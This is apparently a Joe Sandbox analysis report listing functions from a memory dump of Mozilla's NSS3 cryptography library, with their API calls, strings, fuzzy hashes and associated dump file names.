Instruction ID: c28c4375b67eadaeae1ff3aae7121cca5e92e3978846b14a649b021024cd8308
Opcode Fuzzy Hash: 9b5efca74f2032a36aff5234f57a567adfd9613057c08547619a5b1ccb6fe7fb
Instruction Fuzzy Hash: 4A717DB5A01B019FD700DF24D884A93B7B5FF89308F258529E85E87711EB32F965CB91

Function 6CE58DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE58E22
EnterCriticalSection.KERNEL32(?), ref: 6CE58E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE58E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE58E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE58E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE58EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE58EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE58EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE58F00
free.MOZGLUE(?), ref: 6CE58F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE58F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE58F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE58F5B
PR_Unlock.NSS3(?), ref: 6CE58F72
PR_Unlock.NSS3(?), ref: 6CE58F82

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: dacd6901ec821852eb47424a94622651b69109c0d75a9e125ff2d6643db3b375
Instruction ID: 99c49a72fe2bf17736e68d1f7da8b771abf23e0462683151a1ea81313cf35d44
Opcode Fuzzy Hash: dacd6901ec821852eb47424a94622651b69109c0d75a9e125ff2d6643db3b375
Instruction Fuzzy Hash: C15138B2E502059FDB209F68CC8596EB7B9EF55358F64412AEC089B700E732ED25C7E1

Function 6CE7CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CE7CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE7CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CE7CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CE7CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CE7CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE7CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CE7CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CE7CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CE7CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CE7CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CE7CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CE7CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CE7CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CE7D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CE7D021

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 5f047c27b580637db4d03a109dae4ed139c1251b9bb2c6b7aeaa56d021ccdc74
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: E73192B5B9791023EF1E005A6C65BDE106A8B7630EF14103CF90AFA7C0F6859B1742F9

Function 6CF50FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF51000

Part of subcall function 6CF09BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE31A48), ref: 6CF09BB3
Part of subcall function 6CF09BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE31A48), ref: 6CF09BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF51016

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PR_Unlock.NSS3(?), ref: 6CF51021

Part of subcall function 6CEEDD70: TlsGetValue.KERNEL32 ref: 6CEEDD8C
Part of subcall function 6CEEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEEDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF51046
PR_Unlock.NSS3(?), ref: 6CF5106B
PR_Lock.NSS3 ref: 6CF51079
PR_Unlock.NSS3 ref: 6CF51096
free.MOZGLUE(?), ref: 6CF510A7
free.MOZGLUE(?), ref: 6CF510B4
PR_DestroyCondVar.NSS3(?), ref: 6CF510BF
PR_DestroyCondVar.NSS3(?), ref: 6CF510CA
PR_DestroyCondVar.NSS3(?), ref: 6CF510D5
PR_DestroyCondVar.NSS3(?), ref: 6CF510E0
PR_DestroyLock.NSS3(?), ref: 6CF510EB
free.MOZGLUE(?), ref: 6CF51105

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 01e74c13679e95f0786079937bce700777f6739ece2f18160becd0e049bbe4f8
Instruction ID: 5fe7df50af6007c750a8af13a39a689f125b82f0ce93081169669ccd91098a82
Opcode Fuzzy Hash: 01e74c13679e95f0786079937bce700777f6739ece2f18160becd0e049bbe4f8
Instruction Fuzzy Hash: 2A316FB5A00801ABD7019F14FD41A45BB71FF55358B988134D50953F61E732F978DBD2

Function 6CDCDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDCDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDCDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDCDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDCDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDCDECD

Strings

%s at line %d of [%.10s], xrefs: 6CDCDF7C, 6CDCDFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDCDF6D, 6CDCDFCC, 6CDCDFDD
database corruption, xrefs: 6CDCDF77, 6CDCDFE7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 3ad1cb102f773e23459200d08234a8d58e10a0d4a73481d34327da3786f55937
Instruction ID: da110c11d2803b68800f6ccab46157a842ea6ffb92390f860e96fd63d649c4ca
Opcode Fuzzy Hash: 3ad1cb102f773e23459200d08234a8d58e10a0d4a73481d34327da3786f55937
Instruction Fuzzy Hash: C0A1D671B443419FC710DF19C880A6AB7F9BF85318F15892DF8898BB61E731E855CBA2

Function 6CE8EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CE8EE0B

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8EEE1

Part of subcall function 6CE81D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CE81D7E
Part of subcall function 6CE81D50: EnterCriticalSection.KERNEL32(?), ref: 6CE81D8E
Part of subcall function 6CE81D50: PR_Unlock.NSS3(?), ref: 6CE81DD3

TlsGetValue.KERNEL32 ref: 6CE8EE51
EnterCriticalSection.KERNEL32(?), ref: 6CE8EE65
PR_Unlock.NSS3(?), ref: 6CE8EEA2
free.MOZGLUE(?), ref: 6CE8EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CE8EED0
PR_Unlock.NSS3(?), ref: 6CE8EF48
free.MOZGLUE(?), ref: 6CE8EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CE8EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CE8EFA4
free.MOZGLUE(?), ref: 6CE8EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE8F055
free.MOZGLUE(?), ref: 6CE8F060

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 3a311a9f65ca00572e5a7809c4b2ef872c45eea529a4480fbd9d53d37c2a4077
Instruction ID: 7001eeaa52072cf8b9a425edab79dcd49813aebeb6188951b844e7e553930ac2
Opcode Fuzzy Hash: 3a311a9f65ca00572e5a7809c4b2ef872c45eea529a4480fbd9d53d37c2a4077
Instruction Fuzzy Hash: 9A818FB5E01609ABDF00DFA5DC85BDE7BB5BF09318F244028E919A7711E731E924CBA1

Function 6CE54CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE54D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE54D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE54DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE54E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE54E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE54E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE54E85
DER_Encode_Util.NSS3(?,?,6CFA05A4,00000000), ref: 6CE54EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE54F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE54F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE54F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE54F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE54F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE54FC8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: ac0cd62813f86cc168cc0c1c6d6967d829c24c74800b6a124624e6125fa05763
Instruction ID: 842f704e4aaf6f7418465ba0e948d8e131ad95485138a8b081892a25f16f6a57
Opcode Fuzzy Hash: ac0cd62813f86cc168cc0c1c6d6967d829c24c74800b6a124624e6125fa05763
Instruction Fuzzy Hash: 2C81A371A043019FE701CF68D841B5AB7F4AB8534CF64852EF959DB740E732E925CBA2

Function 6CE95C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CE95C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CE95CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CE95CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CE95D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CE95D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CE95E18
TlsGetValue.KERNEL32 ref: 6CE95E5E
EnterCriticalSection.KERNEL32(?), ref: 6CE95E72
PR_Unlock.NSS3(?), ref: 6CE95E8B

Part of subcall function 6CE8F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE8F854
Part of subcall function 6CE8F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE8F868
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE8F882
Part of subcall function 6CE8F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE8F889
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE8F8A4
Part of subcall function 6CE8F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE8F8AB
Part of subcall function 6CE8F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE8F8C9
Part of subcall function 6CE8F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE8F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CE95D3D
d, xrefs: 6CE95C36

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: d96751a8f3d352c694003d50a822aad14cf1464b7394c121075cdeaae4e7996f
Instruction ID: c21a4812c49c60afdff6cb1107eb9a0e3745eb2bb5bf3590e6ef870f7c5a064e
Opcode Fuzzy Hash: d96751a8f3d352c694003d50a822aad14cf1464b7394c121075cdeaae4e7996f
Instruction Fuzzy Hash: 7171F2F0E062019BEB109F25EC4576E7379AF4530EF340639EC099AB52EB36E915C792

Function 6CE88F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CE89582), ref: 6CE88F5B

Part of subcall function 6CE9BE30: SECOID_FindOID_Util.NSS3(6CE5311B,00000000,?,6CE5311B,?), ref: 6CE9BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CE88F6A

Part of subcall function 6CEA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE487ED,00000800,6CE3EF74,00000000), ref: 6CEA1000
Part of subcall function 6CEA0FF0: PR_NewLock.NSS3(?,00000800,6CE3EF74,00000000), ref: 6CEA1016
Part of subcall function 6CEA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE487ED,00000008,?,00000800,6CE3EF74,00000000), ref: 6CEA102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE88FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CE88FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF6D820,6CE89576), ref: 6CE88FF9
DER_GetInteger_Util.NSS3(?), ref: 6CE8901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CE8903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE89062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CE890A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CE890CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CE890F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE8912D
free.MOZGLUE(00000000), ref: 6CE89136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE89145

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 7569e92645ac5f9b25f8833188df1d5b375a6393ea7f5ccaf4e447ccc070fe96
Instruction ID: 18114b0c6de7f66ae6da9a4b7136be63bf4f926d55547295b5d5de95e296cf50
Opcode Fuzzy Hash: 7569e92645ac5f9b25f8833188df1d5b375a6393ea7f5ccaf4e447ccc070fe96
Instruction Fuzzy Hash: 545101B2E092009BEB10CF28DC41B9BB7F9AF84318F254529EC599B741E735E945CBD2

Function 6CE3AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE3AF47

Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090AB
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF090C9
Part of subcall function 6CF09090: EnterCriticalSection.KERNEL32 ref: 6CF090E5
Part of subcall function 6CF09090: TlsGetValue.KERNEL32 ref: 6CF09116
Part of subcall function 6CF09090: LeaveCriticalSection.KERNEL32 ref: 6CF0913F

FreeLibrary.KERNEL32(?), ref: 6CE3AF6D
free.MOZGLUE(?), ref: 6CE3AFA4
free.MOZGLUE(?), ref: 6CE3AFAA
PR_ExitMonitor.NSS3 ref: 6CE3AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE3AFF5
PR_ExitMonitor.NSS3 ref: 6CE3B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE3B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE3B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE3B03C

Strings

%s decr => %d, xrefs: 6CE3AFF0
Unloaded library %s, xrefs: 6CE3B023

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 21acb318fd2d275fb8ddbfd3c36c285663b0cf78b8bd90fa1f1c1e0158efcf90
Instruction ID: 22ddec893f6bdf858b9566c28c6edbbacd7426ea869a79929a614f9d5cb7dcbf
Opcode Fuzzy Hash: 21acb318fd2d275fb8ddbfd3c36c285663b0cf78b8bd90fa1f1c1e0158efcf90
Instruction Fuzzy Hash: 8031F6B5F44020EBDA019FA4EC41A19B775AF0675CB399225E80D86B00F722F865CBA1

Function 6CE86C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE8781D,00000000,6CE7BE2C,?,6CE86B1D,?,?,?,?,00000000,00000000,6CE8781D), ref: 6CE86C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE8781D,?,6CE7BE2C,?), ref: 6CE86C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE8781D), ref: 6CE86C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE86C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE86C96

Part of subcall function 6CE31240: TlsGetValue.KERNEL32(00000040,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31267
Part of subcall function 6CE31240: EnterCriticalSection.KERNEL32(?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE3127C
Part of subcall function 6CE31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE31291
Part of subcall function 6CE31240: PR_Unlock.NSS3(?,?,?,?,6CE3116C,NSPR_LOG_MODULES), ref: 6CE312A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE86CAA

Strings

extern:, xrefs: 6CE86C7E
dbm, xrefs: 6CE86CA4
sql:, xrefs: 6CE86C52
dbm:, xrefs: 6CE86C3A
rdb:, xrefs: 6CE86C69
NSS_DEFAULT_DB_TYPE, xrefs: 6CE86C91

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 5a903327d1ab98e864563703b8da0ddd60915bb466831dd073af9e98731704b2
Instruction ID: 3fe0e329a709cc08103d953e024693fbe7bffdc7463c7db287af718acec7d39e
Opcode Fuzzy Hash: 5a903327d1ab98e864563703b8da0ddd60915bb466831dd073af9e98731704b2
Instruction Fuzzy Hash: 5B01A2A1B1331227EE502B7A6C4AF66357C9F4115CF340432FE09E0A81EFA7ED1480A9

Function 6CE94E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE578F8), ref: 6CE94E6D

Part of subcall function 6CE309E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE306A2,00000000,?), ref: 6CE309F8
Part of subcall function 6CE309E0: malloc.MOZGLUE(0000001F), ref: 6CE30A18
Part of subcall function 6CE309E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE30A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE578F8), ref: 6CE94ED9

Part of subcall function 6CE85920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CE87703,?,00000000,00000000), ref: 6CE85942
Part of subcall function 6CE85920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CE87703), ref: 6CE85954
